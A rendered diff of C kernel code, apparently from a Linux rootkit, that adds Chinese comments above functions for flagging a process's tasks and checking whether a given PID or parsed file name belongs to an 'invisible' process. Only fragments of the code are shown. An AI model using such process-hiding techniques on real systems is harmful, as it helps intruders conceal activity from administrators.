|
|
@ -14,7 +14,7 @@
|
|
|
|
#endif
|
|
|
|
#endif
|
|
|
|
|
|
|
|
|
|
|
|
#include "proc.h"
|
|
|
|
#include "proc.h"
|
|
|
|
|
|
|
|
//根据给定的进程ID (pid) 和标志位设置 (set) 来修改进程及其线程的标志位
|
|
|
|
int flag_tasks(pid_t pid, int set)
|
|
|
|
int flag_tasks(pid_t pid, int set)
|
|
|
|
{
|
|
|
|
{
|
|
|
|
int ret = 0;
|
|
|
|
int ret = 0;
|
|
|
@ -68,7 +68,7 @@ struct task_struct *find_task(pid_t pid)
|
|
|
|
|
|
|
|
|
|
|
|
return ret;
|
|
|
|
return ret;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
//判断指定进程号进程是否可见
|
|
|
|
int is_proc_invisible(pid_t pid)
|
|
|
|
int is_proc_invisible(pid_t pid)
|
|
|
|
{
|
|
|
|
{
|
|
|
|
struct task_struct *task;
|
|
|
|
struct task_struct *task;
|
|
|
@ -87,7 +87,7 @@ int is_proc_invisible(pid_t pid)
|
|
|
|
put_task_struct(task);
|
|
|
|
put_task_struct(task);
|
|
|
|
return ret;
|
|
|
|
return ret;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
//解析文件名->pid -> is_proc_invisible(pid)
|
|
|
|
int is_proc_invisible_2(const char __user *filename)
|
|
|
|
int is_proc_invisible_2(const char __user *filename)
|
|
|
|
{
|
|
|
|
{
|
|
|
|
int ret = 0, i, argc, is_num = 1;
|
|
|
|
int ret = 0, i, argc, is_num = 1;
|
|
|
|